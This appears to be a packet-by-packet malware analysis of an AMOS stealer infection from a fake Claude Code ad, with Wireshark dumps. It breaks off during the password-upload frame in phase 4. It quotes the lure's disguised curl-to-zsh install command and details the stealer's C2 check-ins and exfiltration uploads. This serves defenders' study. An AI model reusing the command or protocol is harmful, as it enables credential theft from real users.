AMOS Stealer from a Fake Claude Code Ad, Packet by Packet

This walkthrough uses Brad Duncan's capture from his post Atomic macOS (AMOS) Stealer infection from malicious ad impersonating Claude Code on malware-traffic-analysis.net, used with his permission. Brad has published infection traffic there for more than a decade, and his exercises have taught many analysts to read it. We decoded the capture with VisualEther, which turns a Wireshark PCAP into a sequence diagram with a plain-English caption on every message. Brad hasn't reviewed this article; any annotation errors are ours.

The capture, 2026-10-02-AMOS-Stealer-traffic.pcap, is on Brad's post with his indicator notes and the malware samples. The zip archives are password-protected; his about page gives the password scheme. The capture records live malicious infrastructure, and the other archives contain working malware, so open them only on an isolated analysis machine.

We drew the infection as one annotated sequence diagram. The Mac and each server it contacts get a lane, and each of the 65 messages is an arrow numbered as in Wireshark, with a caption explaining what the packet does and why it matters. The capture also holds about 15 minutes of ordinary browsing, which the diagram leaves out. The walkthrough below uses the same frame numbers. The diagram comes in three forms:

💡 Read the walkthrough and the diagram side by side: open the interactive diagram in a split-screen window, or open it in a new tab and snap the two windows side by side.

Overview

On October 2, 2026, Brad searched Google from a Mac and clicked an ad impersonating Claude Code. About four minutes later the Mac had lost its login password, its keychain database, its desktop screenshots, and whatever its browsers, wallets, and password manager held. It had also installed a backdoor and a program that swaps cryptocurrency addresses on the clipboard.

The malware is Atomic macOS Stealer (AMOS), an information stealer that criminals rent as a service and that security researchers have tracked since 2023. Most of its traffic in this capture is plain HTTP, so the capture shows nearly everything it stole.

sequenceDiagram accTitle: AMOS Stealer infection overview accDescr: Safari visits a fake Claude Code site. The visitor pastes a command, and curl downloads a script and the stealer from a payload host. The stealer reports its progress to its C2 server, then uploads three zip files, the second carrying the user's password and the third the keychain database and screenshots. The Mac then downloads two persistent programs from a second host, registers a backdoor that holds a WebSocket open, and registers a clipper that downloads a list of attacker wallet addresses. participant Mac as Victim Mac participant Fake as Fake Claude Code site participant Payload as Payload host participant AMOS as AMOS stealer C2 participant Stage2 as Stage-2 host participant BD as Backdoor C2 participant Clip as Clipper C2 Mac->>Fake: [42] Safari loads the page (HTTP/3) Note over Mac: Visitor pastes the install command into Terminal Mac->>Payload: [1772, 1806] curl fetches script and stealer (HTTPS) Mac->>AMOS: [2962–3007] POST metrics run, seven progress reports Mac->>AMOS: [3015, 3157] POST contact, small zips, then the password Mac->>AMOS: [6295] POST contact, 3 MB with the keychain Mac->>Stage2: [7678, 8166] two downloads of about 0.5 MB (HTTPS) Mac->>BD: [8587, 8771] register, then open a WebSocket Mac->>Clip: [8836, 8846] register, then fetch 19 wallet rules
The infection at a glance, from the first Safari visit to the clipper's address list. Frame numbers are in brackets. Each C2 server is reached by bare IP address, with no DNS lookup.

The walkthrough follows the capture in nine phases:

  1. A search ad leads to a fake site (frames 2–1108). Safari follows the ad's redirect to claude-desk-code[.]com.
  2. The pasted command runs (frames 1767–2885). curl downloads a script and the stealer and reports to a tracker.
  3. The stealer checks in and starts collecting (frames 2962–3036). Seven progress reports and the first upload.
  4. The stolen password (frames 3151–3166). A fake password dialog, then a second upload with the password.
  5. The bulk upload (frames 3250–7668). 3 MB, including the keychain database.
  6. Staying on the Mac (frames 7671–8166). Two downloads that match the persistent programs.
  7. A backdoor checks in (frames 8272–8781). Registration and a WebSocket held open.
  8. A clipboard hijacker loads its address list (frames 8807–8850).
  9. Fifteen minutes later (frames 27874–27886). The backdoor polls for a task.

A note on the capture we rendered: a 24 MB capture is too large for VisualEther to keep every packet's field tree, so we made a copy that cuts each packet outside the infection's connections down to its first 54 bytes, its headers. No packet was removed or reordered, so the frame numbers in the diagram match Brad's original file exactly.

Throughout, malicious domains and IP addresses are written defanged, with [.] in place of the dot, so that nobody visits one by accident.

A primer: reading malware traffic without decrypting it

A few ideas make the frames easy to read:

Phase 1 — A search ad leads to a fake site (frames 2–1108)

The first lookup in the capture, frame 2, is for uerp[.]com, the redirect behind the Google ad. In frame 9 Safari opens HTTPS to it. The Client Hello carries Safari's fingerprint, t13d2013h2_a09f3c656075_7f0f34a4126d. Keep it in mind: it marks traffic the browser makes.

The redirect lands on claude-desk-code[.]com. Frame 40 resolves it to two Cloudflare addresses, and frames 42 and 76 open QUIC connections to it, HTTP/3 over UDP port 443. QUIC encrypts its first packet only with keys anyone can derive from the packet itself, so Wireshark can still read the Client Hello inside and show the server name.

Fifteen seconds later, Safari reconnects (frames 1075 and 1108). Brad's screenshots show what the page displays: Claude Code branding and an install command to paste into Terminal. Safari's part in the infection ends here. Everything after this point comes from the pasted command.

Phase 2 — The pasted command runs (frames 1767–2885)

The page's command looks harmless at a glance:

echo "Downloading Claude: https://claude.ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtl...=" | openssl base64 -d -A) | zsh

The echo prints a legitimate-looking Claude URL. The real address is the base64 string, which openssl decodes and curl fetches; the reply goes straight into the zsh shell.

On the wire, 82 seconds after Safari's last connection, the Mac looks up lake-90[.]com (frame 1767). The Client Hello in frame 1772 is the first sign of a different program: its fingerprint is t13d4907h2_0d8feac7bc37_7395dae3b2f3, with 49 cipher suites and 7 extensions instead of Safari's 20 and 13. It is macOS curl, the same program the plain-HTTP requests later name in their User-Agent. A non-browser fingerprint appearing on a workstation seconds after a browser visit, to a domain the network has never seen, is a strong alert on its own.

Here is that Client Hello as Wireshark decodes it. Under the server_name extension sits the domain, and at the end of the handshake fields sits the JA4 string:

🔒 [00012] Frame 1772 TLS Client Hello 2026-10-02T22:27:03.586187Z 💻 Victim Mac → 📦 Payload host (lake-90)
frame : Frame 1772: Packet, 387 bytes on wire (3096 bits), 387 bytes captured (3096 bits)
Encapsulation type : Ethernet (1)
Arrival Time : Oct 2, 2026 15:27:03.586187000 Pacific Daylight Time
UTC Arrival Time : Oct 2, 2026 22:27:03.586187000 UTC
Epoch Arrival Time : 1790980023.586187000
Time shift for this packet : 0.000000000 seconds
Time delta from previous captured frame : 1.509000 milliseconds
Time delta from previous displayed frame : 36.142000 milliseconds
Time since reference or first frame : 1 minute, 38.272911000 seconds
Frame Number : 1772
Frame Length : 387 bytes (3096 bits)
Capture Length : 387 bytes (3096 bits)
Frame is marked : False
Frame is ignored : False
Protocols in frame : eth:ethertype:ip:tcp:tls
Character encoding : ASCII (0)
eth : Ethernet II, Src: 7a:2d:79:38:f2:8c, Dst: 00:01:96:ce:dd:92
Destination : 00:01:96:ce:dd:92
Destination (resolved) : 00:01:96:ce:dd:92
Destination OUI : 00:01:96 (Cisco Systems, Inc)
Destination OUI (resolved) : Cisco Systems, Inc
.... ..0. .... .... .... .... = LG bit : Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Address : 00:01:96:ce:dd:92
Address (resolved) : 00:01:96:ce:dd:92
Address OUI : 00:01:96 (Cisco Systems, Inc)
Address OUI (resolved) : Cisco Systems, Inc
.... ..0. .... .... .... .... = LG bit : Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Source : 7a:2d:79:38:f2:8c
Source (resolved) : 7a:2d:79:38:f2:8c
Source OUI : 7a:2d:79
.... ..1. .... .... .... .... = LG bit : Locally administered address (this is NOT the factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Address : 7a:2d:79:38:f2:8c
Address (resolved) : 7a:2d:79:38:f2:8c
Address OUI : 7a:2d:79
.... ..1. .... .... .... .... = LG bit : Locally administered address (this is NOT the factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Type : IPv4 (0x0800)
Stream index : 0
ip : Internet Protocol Version 4, Src: 10.10.2.178, Dst: 172.67.213.34
0100 .... = Version : 4
.... 0101 = Header Length : 20 bytes (5)
Differentiated Services Field : 0x02 (DSCP: CS0, ECN: ECT(0))
0000 00.. = Differentiated Services Codepoint : Default (0)
.... ..10 = Explicit Congestion Notification : ECN-Capable Transport codepoint '10' (2)
Total Length : 373
Identification : 0x0000 (0)
010. .... = Flags : 0x2, Don't fragment
0... .... = Reserved bit : Not set
.1.. .... = Don't fragment : Set
..0. .... = More fragments : Not set
...0 0000 0000 0000 = Fragment Offset : 0
Time to Live : 64
Protocol : TCP (6)
Header Checksum : 0xab5f [validation disabled]
Header checksum status : Unverified
Source Address : 10.10.2.178
Source or Destination Address : 10.10.2.178
Source Host : 10.10.2.178
Source or Destination Host : 10.10.2.178
Destination Address : 172.67.213.34
Source or Destination Address : 172.67.213.34
Destination Host : 172.67.213.34
Source or Destination Host : 172.67.213.34
Stream index : 8
tcp : Transmission Control Protocol, Src Port: 49155, Dst Port: 443, Seq: 1, Ack: 1, Len: 321
Source Port : 49155
Destination Port : 443
Source or Destination Port : 49155
Source or Destination Port : 443
Stream index : 8
Stream Packet Number : 4
Conversation completeness : Incomplete, ESTABLISHED (7)
..0. .... = RST : Absent
...0 .... = FIN : Absent
.... 0... = Data : Absent
.... .1.. = ACK : Present
.... ..1. = SYN-ACK : Present
.... ...1 = SYN : Present
Completeness Flags : ···ASS
TCP Segment Len : 321
Sequence Number : 1 (relative sequence number)
Sequence Number (raw) : 1886489797
Next Sequence Number : 322 (relative sequence number)
Acknowledgment Number : 1 (relative ack number)
Acknowledgment number (raw) : 2185472219
1000 .... = Header Length : 32 bytes (8)
Flags : 0x018 (PSH, ACK)
000. .... .... = Reserved : Not set
...0 .... .... = Accurate ECN : Not set
.... 0... .... = Congestion Window Reduced : Not set
.... .0.. .... = ECN-Echo : Not set
.... ..0. .... = Urgent : Not set
.... ...1 .... = Acknowledgment : Set
.... .... 1... = Push : Set
.... .... .0.. = Reset : Not set
.... .... ..0. = Syn : Not set
.... .... ...0 = Fin : Not set
TCP Flags : ·······AP···
Window : 2068
Calculated window size : 132352
Window size scaling factor : 64
Checksum : 0x4462 [unverified]
Checksum Status : Unverified
Urgent Pointer : 0
Options : (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
TCP Option - No-Operation (NOP)
Kind : No-Operation (1)
TCP Option - No-Operation (NOP)
Kind : No-Operation (1)
TCP Option - Timestamps : TSval 2708559442, TSecr 1701876342
Kind : Time Stamp Option (8)
Length : 10
Timestamp value : 2708559442
Timestamp echo reply : 1701876342
Timestamps
Time since first frame in this TCP stream : 31.130000 milliseconds
Time since previous frame in this TCP stream : 1.509000 milliseconds
SEQ/ACK analysis
iRTT : 29.621000 milliseconds
Bytes in flight : 321
Bytes sent since last PSH flag : 321
Client Contiguous Streams : 1
Server Contiguous Streams : 1
TCP payload (321 bytes)
tls : Transport Layer Security
Stream index : 1
TLSv1 Record Layer : Handshake Protocol: Client Hello
Content Type : Handshake (22)
Version : TLS 1.0 (0x0301)
Length : 316
Handshake Protocol : Client Hello
Handshake Type : Client Hello (1)
Length : 312
Version : TLS 1.2 (0x0303)
Expert Info (Chat/Deprecated) : This legacy_version field MUST be ignored. The supported_versions extension is present and MUST be used instead.
This legacy_version field MUST be ignored. The supported_versions extension is present and MUST be used instead.
Message : This legacy_version field MUST be ignored. The supported_versions extension is present and MUST be used instead.
Severity level : Chat
Group : Deprecated
Random : 2546c5d100f3266e215f153d5a85f23662d3c42d83d3d95e2aeaf6a948eca4c0
GMT Unix Time : Oct 26, 1989 01:52:33.000000000 Pacific Daylight Time
Random Bytes : 00f3266e215f153d5a85f23662d3c42d83d3d95e2aeaf6a948eca4c0
Session ID Length : 32
Session ID : e83a978f801c112cedcfd3fd38904b1d8a93106560470315630e16bf152965b4
Cipher Suites Length : 98
Cipher Suites (49 suites)
Cipher Suite : TLS_CHACHA20_POLY1305_SHA256 (0x1303)
Cipher Suite : TLS_AES_256_GCM_SHA384 (0x1302)
Cipher Suite : TLS_AES_128_GCM_SHA256 (0x1301)
Cipher Suite : TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca9)
Cipher Suite : TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcca8)
Cipher Suite : TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa)
Cipher Suite : TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
Cipher Suite : TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
Cipher Suite : TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)
Cipher Suite : TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)
Cipher Suite : TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite : TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite : TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x009f)
Cipher Suite : TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x006b)
Cipher Suite : TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Cipher Suite : TLS_GOSTR341112_256_WITH_28147_CNT_IMIT (0xff85)
Cipher Suite : TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256 (0x00c4)
Cipher Suite : TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088)
Cipher Suite : TLS_GOSTR341001_WITH_28147_CNT_IMIT (0x0081)
Cipher Suite : TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
Cipher Suite : TLS_RSA_WITH_AES_256_CBC_SHA256 (0x003d)
Cipher Suite : TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite : TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256 (0x00c0)
Cipher Suite : TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084)
Cipher Suite : TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
Cipher Suite : TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
Cipher Suite : TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)
Cipher Suite : TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (0xc023)
Cipher Suite : TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite : TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite : TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)
Cipher Suite : TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (0x0067)
Cipher Suite : TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
Cipher Suite : TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 (0x00be)
Cipher Suite : TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045)
Cipher Suite : TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
Cipher Suite : TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c)
Cipher Suite : TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
Cipher Suite : TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256 (0x00ba)
Cipher Suite : TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041)
Cipher Suite : TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)
Cipher Suite : TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (0xc007)
Cipher Suite : TLS_RSA_WITH_RC4_128_SHA (0x0005)
Cipher Suite : TLS_RSA_WITH_RC4_128_MD5 (0x0004)
Cipher Suite : TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012)
Cipher Suite : TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008)
Cipher Suite : TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016)
Cipher Suite : TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
Cipher Suite : TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
Compression Methods Length : 1
Compression Methods (1 method)
Compression Method : null (0)
Extensions Length : 141
Extension : supported_versions (len=9) TLS 1.3, TLS 1.2, TLS 1.1, TLS 1.0
Type : supported_versions (43)
Length : 9
Supported Versions length : 8
Supported Version : TLS 1.3 (0x0304)
Supported Version : TLS 1.2 (0x0303)
Supported Version : TLS 1.1 (0x0302)
Supported Version : TLS 1.0 (0x0301)
Extension : key_share (len=38) x25519
Type : key_share (51)
Length : 38
Key Share extension
Client Key Share Length : 36
Key Share Entry : Group: x25519, Key Exchange length: 32
Group : x25519 (29)
Key Exchange Length : 32
Key Exchange : b14be99cf3755ef89edfdf406e4bc3277f9d1bf17ae1db21103c7bd72382642a
Extension : server_name (len=16) name=lake-90.com
Type : server_name (0)
Length : 16
Server Name Indication extension
Server Name list length : 14
Server Name Type : host_name (0)
Server Name length : 11
Server Name : lake-90.com
Extension : ec_point_formats (len=2)
Type : ec_point_formats (11)
Length : 2
EC point formats Length : 1
Elliptic curves point formats (1)
EC point format : uncompressed (0)
Extension : supported_groups (len=10)
Type : supported_groups (10)
Length : 10
Supported Groups List Length : 8
Supported Groups (4 groups)
Supported Group : x25519 (0x001d)
Supported Group : secp256r1 (0x0017)
Supported Group : secp384r1 (0x0018)
Supported Group : secp521r1 (0x0019)
Extension : signature_algorithms (len=24)
Type : signature_algorithms (13)
Length : 24
Signature Hash Algorithms Length : 22
Signature Hash Algorithms (11 algorithms)
Signature Algorithm : rsa_pss_rsae_sha512 (0x0806)
Signature Hash Algorithm Hash : Unknown (8)
Signature Hash Algorithm Signature : Unknown (6)
Signature Algorithm : rsa_pkcs1_sha512 (0x0601)
Signature Hash Algorithm Hash : SHA512 (6)
Signature Hash Algorithm Signature : RSA (1)
Signature Algorithm : ecdsa_secp521r1_sha512 (0x0603)
Signature Hash Algorithm Hash : SHA512 (6)
Signature Hash Algorithm Signature : ECDSA (3)
Signature Algorithm : rsa_pss_rsae_sha384 (0x0805)
Signature Hash Algorithm Hash : Unknown (8)
Signature Hash Algorithm Signature : Unknown (5)
Signature Algorithm : rsa_pkcs1_sha384 (0x0501)
Signature Hash Algorithm Hash : SHA384 (5)
Signature Hash Algorithm Signature : RSA (1)
Signature Algorithm : ecdsa_secp384r1_sha384 (0x0503)
Signature Hash Algorithm Hash : SHA384 (5)
Signature Hash Algorithm Signature : ECDSA (3)
Signature Algorithm : rsa_pss_rsae_sha256 (0x0804)
Signature Hash Algorithm Hash : Unknown (8)
Signature Hash Algorithm Signature : Unknown (4)
Signature Algorithm : rsa_pkcs1_sha256 (0x0401)
Signature Hash Algorithm Hash : SHA256 (4)
Signature Hash Algorithm Signature : RSA (1)
Signature Algorithm : ecdsa_secp256r1_sha256 (0x0403)
Signature Hash Algorithm Hash : SHA256 (4)
Signature Hash Algorithm Signature : ECDSA (3)
Signature Algorithm : rsa_pkcs1_sha1 (0x0201)
Signature Hash Algorithm Hash : SHA1 (2)
Signature Hash Algorithm Signature : RSA (1)
Signature Algorithm : ecdsa_sha1 (0x0203)
Signature Hash Algorithm Hash : SHA1 (2)
Signature Hash Algorithm Signature : ECDSA (3)
Extension : application_layer_protocol_negotiation (len=14)
Type : application_layer_protocol_negotiation (16)
Length : 14
ALPN Extension Length : 12
ALPN Protocol
ALPN string length : 2
ALPN Next Protocol : h2
ALPN string length : 8
ALPN Next Protocol : http/1.1
JA4 : t13d4907h2_0d8feac7bc37_7395dae3b2f3
JA4_r […] : t13d4907h2_0004,0005,000a,0016,002f,0033,0035,0039,003c,003d,0041,0045,0067,006b,0081,0084,0088,009c,009d,009e,009f,00ba,00be,00c0,00c4,00ff,1301,1302,1303,c007,c008,c009,c00a,c011,c012,c013,c014,c023,c024,c027,c028,c02b,c02c,
JA3 Fullstring […] : 771,4867-4866-4865-52393-52392-52394-49200-49196-49192-49188-49172-49162-159-107-57-65413-196-136-129-157-61-53-192-132-49199-49195-49191-49187-49171-49161-158-103-51-190-69-156-60-47-186-65-49169-49159-5-4-49170-4916
JA3 : 375c6162a492dfbf2795909110ce8424
Rendered from a Wireshark PCAP by VisualEther.

Frame 1772, curl's Client Hello to lake-90[.]com. Open Extension: server_name for the SNI, and compare the JA4 near the bottom of the Client Hello with Safari's in frame 9: t13d4907h2 (49 ciphers, 7 extensions) against t13d2013h2 (20 ciphers, 13 extensions).

Four HTTPS connections follow. The contents are encrypted, but Brad's notes list the requests, and the byte counts fit them:

FrameServerRequest (from Brad's notes)Bytes to the Mac
1772lake-90[.]comGET the first-stage zsh script (3,106 bytes)about 8.5 kB
1806lake-90[.]comGET the stealer, a 1,167,232-byte Mach-O binaryabout 1.2 MB
1822loop-88[.]comPOST /api/metrics/run?event=pastedsmall
2885loop-88[.]comPOST /api/metrics/run?event=stagersmall

The stealer is a universal binary that runs on both Intel and Apple-silicon Macs. The two reports to loop-88[.]com tell the operators that a victim pasted the command and that the stager ran.

Phase 3 — The stealer checks in and starts collecting (frames 2962–3036)

From frame 2962 on, the stealer talks to its C2 server, 152.42.143[.]45, over plain HTTP. Its first message is a small JSON POST:

{"os":"macOS","os_version":"27.0.1","arch":"arm64","locale":"en_US",
 "u":"aG0d01B0TuWqI0bcCKz_iasaMoZv5GMqN0HtugY76Fo",
 "b":"3kMeZTXI70r5Bettq-qjUI5TKhXGFMcFKmslSuec458",
 "event":"started","stage":"boot"}

u identifies the victim and b the malware build. Three details flag this packet: curl/8.7.1 as the User-Agent, a bare IP address in the Host header, and data posted to a server the Mac never looked up.

The stealer then reports each collection step as it starts, each on a new TCP connection, and the server acknowledges each with 204 No Content:

FramestageWhat it collects
2962bootNothing yet: the stealer has started
2973init_sessionSets up its working folder
2977messengersChat app data, such as Telegram's
2986credentialsAWS, Google Cloud, Docker, and FileZilla settings, and the shell history
2995browsersSaved passwords, cookies, and autofill data
2998walletsDesktop cryptocurrency wallets, such as Binance and TonKeeper
3007passmgrPassword managers, such as Bitwarden

0.8 seconds after boot, frame 3015 uploads the first zip to /contact. Exporting it from the capture shows what the stealer has so far: an info file, the username, the shell history, and empty folders for the apps it searched. The server accepts the upload with 200 OK in frame 3036.

Phase 4 — The stolen password (frames 3151–3166)

The next 110 seconds are silent. In that gap, the stealer displayed the fake macOS password dialog seen in Brad's screenshots and waited for a person to type.

Then frame 3151 reports stage: resolve_auth, and 14 ms later frame 3157 uploads a second zip. It matches the first, with one new 9-byte file named pwd: the Mac's login password. On a Mac the login password also protects the user's keychain, the encrypted store of saved passwords, so this upload prepares for the next one.

The upload is an ordinary web form, the same kind a browser sends when you attach a file. Wireshark splits it into its parts:

📤 [00035] Frame 3157 POST /contact 2026-10-02T22:28:57.838988Z 💻 Victim Mac → 🚨 AMOS stealer C2
frame : Frame 3157: Packet, 583 bytes on wire (4664 bits), 583 bytes captured (4664 bits)
Encapsulation type : Ethernet (1)
Arrival Time : Oct 2, 2026 15:28:57.838988000 Pacific Daylight Time
UTC Arrival Time : Oct 2, 2026 22:28:57.838988000 UTC
Epoch Arrival Time : 1790980137.838988000
Time shift for this packet : 0.000000000 seconds
Time delta from previous captured frame : 0.000000000 seconds
Time delta from previous displayed frame : 13.863000 milliseconds
Time since reference or first frame : 3 minutes, 32.525712000 seconds
Frame Number : 3157
Frame Length : 583 bytes (4664 bits)
Capture Length : 583 bytes (4664 bits)
Frame is marked : False
Frame is ignored : False
Protocols in frame : eth:ethertype:ip:tcp:http:mime_multipart:data:data:data:data:data:data
Character encoding : ASCII (0)
eth : Ethernet II, Src: 7a:2d:79:38:f2:8c, Dst: 00:01:96:ce:dd:92
Destination : 00:01:96:ce:dd:92
Destination (resolved) : 00:01:96:ce:dd:92
Destination OUI : 00:01:96 (Cisco Systems, Inc)
Destination OUI (resolved) : Cisco Systems, Inc
.... ..0. .... .... .... .... = LG bit : Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Address : 00:01:96:ce:dd:92
Address (resolved) : 00:01:96:ce:dd:92
Address OUI : 00:01:96 (Cisco Systems, Inc)
Address OUI (resolved) : Cisco Systems, Inc
.... ..0. .... .... .... .... = LG bit : Globally unique address (factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Source : 7a:2d:79:38:f2:8c
Source (resolved) : 7a:2d:79:38:f2:8c
Source OUI : 7a:2d:79
.... ..1. .... .... .... .... = LG bit : Locally administered address (this is NOT the factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Address : 7a:2d:79:38:f2:8c
Address (resolved) : 7a:2d:79:38:f2:8c
Address OUI : 7a:2d:79
.... ..1. .... .... .... .... = LG bit : Locally administered address (this is NOT the factory default)
.... ...0 .... .... .... .... = IG bit : Individual address (unicast)
Type : IPv4 (0x0800)
Stream index : 0
ip : Internet Protocol Version 4, Src: 10.10.2.178, Dst: 152.42.143.45
0100 .... = Version : 4
.... 0101 = Header Length : 20 bytes (5)
Differentiated Services Field : 0x02 (DSCP: CS0, ECN: ECT(0))
0000 00.. = Differentiated Services Codepoint : Default (0)
.... ..10 = Explicit Congestion Notification : ECN-Capable Transport codepoint '10' (2)
Total Length : 569
Identification : 0x0000 (0)
010. .... = Flags : 0x2, Don't fragment
0... .... = Reserved bit : Not set
.1.. .... = Don't fragment : Set
..0. .... = More fragments : Not set
...0 0000 0000 0000 = Fragment Offset : 0
Time to Live : 64
Protocol : TCP (6)
Header Checksum : 0x04aa [validation disabled]
Header checksum status : Unverified
Source Address : 10.10.2.178
Source or Destination Address : 10.10.2.178
Source Host : 10.10.2.178
Source or Destination Host : 10.10.2.178
Destination Address : 152.42.143.45
Source or Destination Address : 152.42.143.45
Destination Host : 152.42.143.45
Source or Destination Host : 152.42.143.45
Stream index : 12
tcp : Transmission Control Protocol, Src Port: 49168, Dst Port: 80, Seq: 4093, Ack: 1, Len: 517
Source Port : 49168
Destination Port : 80
Source or Destination Port : 49168
Source or Destination Port : 80
Stream index : 25
Stream Packet Number : 7
Conversation completeness : Incomplete, DATA (15)
..0. .... = RST : Absent
...0 .... = FIN : Absent
.... 1... = Data : Present
.... .1.. = ACK : Present
.... ..1. = SYN-ACK : Present
.... ...1 = SYN : Present
Completeness Flags : ··DASS
TCP Segment Len : 517
Sequence Number : 4093 (relative sequence number)
Sequence Number (raw) : 896529344
Next Sequence Number : 4610 (relative sequence number)
Acknowledgment Number : 1 (relative ack number)
Acknowledgment number (raw) : 1955138662
1000 .... = Header Length : 32 bytes (8)
Flags : 0x018 (PSH, ACK)
000. .... .... = Reserved : Not set
...0 .... .... = Accurate ECN : Not set
.... 0... .... = Congestion Window Reduced : Not set
.... .0.. .... = ECN-Echo : Not set
.... ..0. .... = Urgent : Not set
.... ...1 .... = Acknowledgment : Set
.... .... 1... = Push : Set
.... .... .0.. = Reset : Not set
.... .... ..0. = Syn : Not set
.... .... ...0 = Fin : Not set
TCP Flags : ·······AP···
Window : 2068
Calculated window size : 132352
Window size scaling factor : 64
Checksum : 0xe8bb [unverified]
Checksum Status : Unverified
Urgent Pointer : 0
Options : (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
TCP Option - No-Operation (NOP)
Kind : No-Operation (1)
TCP Option - No-Operation (NOP)
Kind : No-Operation (1)
TCP Option - Timestamps : TSval 3291985073, TSecr 342679659
Kind : Time Stamp Option (8)
Length : 10
Timestamp value : 3291985073
Timestamp echo reply : 342679659
Timestamps
Time since first frame in this TCP stream : 165.615000 milliseconds
Time since previous frame in this TCP stream : 0.000000000 seconds
SEQ/ACK analysis
iRTT : 164.218000 milliseconds
Bytes in flight : 4609
Bytes sent since last PSH flag : 4609
Client Contiguous Streams : 1
Server Contiguous Streams : 1
TCP payload (517 bytes)
TCP segment data (517 bytes)
fake-field-wrapper : fake-field-wrapper
4 Reassembled TCP Segments (4609 bytes) : #3154(1364), #3155(1364), #3156(1364), #3157(517)
Frame : 3154, payload: 0-1363 (1364 bytes)
Frame : 3155, payload: 1364-2727 (1364 bytes)
Frame : 3156, payload: 2728-4091 (1364 bytes)
Frame : 3157, payload: 4092-4608 (517 bytes)
Segment count : 4
Reassembled TCP length : 4609
Reassembled TCP Data […] : 504f5354202f636f6e7461637420485454502f312e310d0a486f73743a203135322e34322e3134332e34350d0a557365722d4167656e743a206375726c2f382e372e310d0a4163636570743a202a2f2a0d0a436f6e74656e742d4c656e6774683a20343431310d0a436
http : Hypertext Transfer Protocol
POST /contact HTTP/1.1\r\n
Request Method : POST
Request URI : /contact
Request Version : HTTP/1.1
Host : 152.42.143.45\r\n
Host : 152.42.143.45\r\n
User-Agent : curl/8.7.1\r\n
User-Agent : curl/8.7.1\r\n
Accept : */*\r\n
Accept : */*\r\n
Content-Length : 4411\r\n
Content length : 4411
Content-Length : 4411\r\n
Content-Type : multipart/form-data; boundary=------------------------m7tKAk2CUgkzViUM0A93PB\r\n
Content-Type : multipart/form-data; boundary=------------------------m7tKAk2CUgkzViUM0A93PB\r\n
\r\n
Request : True
Full request URI : http://152.42.143.45/contact
File Data : 4411 bytes
mime_multipart : MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "------------------------m7tKAk2CUgkzViUM0A93PB"
Type : multipart/form-data
First boundary : --------------------------m7tKAk2CUgkzViUM0A93PB\r\n
Encapsulated multipart part
Content-Disposition : form-data; name="u"\r\n\r\n
data
Data : 61473064303142305475577149306263434b7a5f696173614d6f5a7635474d714e3048747567593736466f
Length : 43
Boundary : \r\n--------------------------m7tKAk2CUgkzViUM0A93PB\r\n
Encapsulated multipart part
Content-Disposition : form-data; name="b"\r\n\r\n
data
Data : 336b4d655a5458493730723542657474712d716a554935544b685847464d63464b6d736c53756563343538
Length : 43
Boundary : \r\n--------------------------m7tKAk2CUgkzViUM0A93PB\r\n
Encapsulated multipart part
Content-Disposition : form-data; name="l"\r\n\r\n
data
Data : 30
Length : 1
Boundary : \r\n--------------------------m7tKAk2CUgkzViUM0A93PB\r\n
Encapsulated multipart part
Content-Disposition : form-data; name="n"\r\n\r\n
data
Data : 30
Length : 1
Boundary : \r\n--------------------------m7tKAk2CUgkzViUM0A93PB\r\n
